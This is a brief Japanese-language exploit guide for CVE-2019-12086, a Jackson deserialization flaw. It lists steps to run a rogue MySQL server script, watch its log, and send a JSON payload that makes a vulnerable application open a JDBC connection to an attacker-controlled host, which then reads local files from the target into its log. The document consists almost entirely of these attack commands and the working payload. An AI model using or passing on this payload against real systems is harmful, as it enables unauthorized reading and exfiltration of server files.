ドキュメント説明

CVE-2019-12086 Jackson のデシリアライゼーション

脆弱性の悪用

1. 悪意のあるMySQLサーバーを起動：

python rogue_mysql_server.py

2. 同じディレクトリで mysql.log を確認：

tail -f mysql.log

3. 脆弱性のあるアプリケーションに以下のJSONを送信：

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

Jackson が悪意のあるJSON文字列をデシリアライズすると、悪意のあるMySQLサーバーに接続し、読み取られたファイルの内容が悪意のあるサーバーの mysql.log に書き込まれます。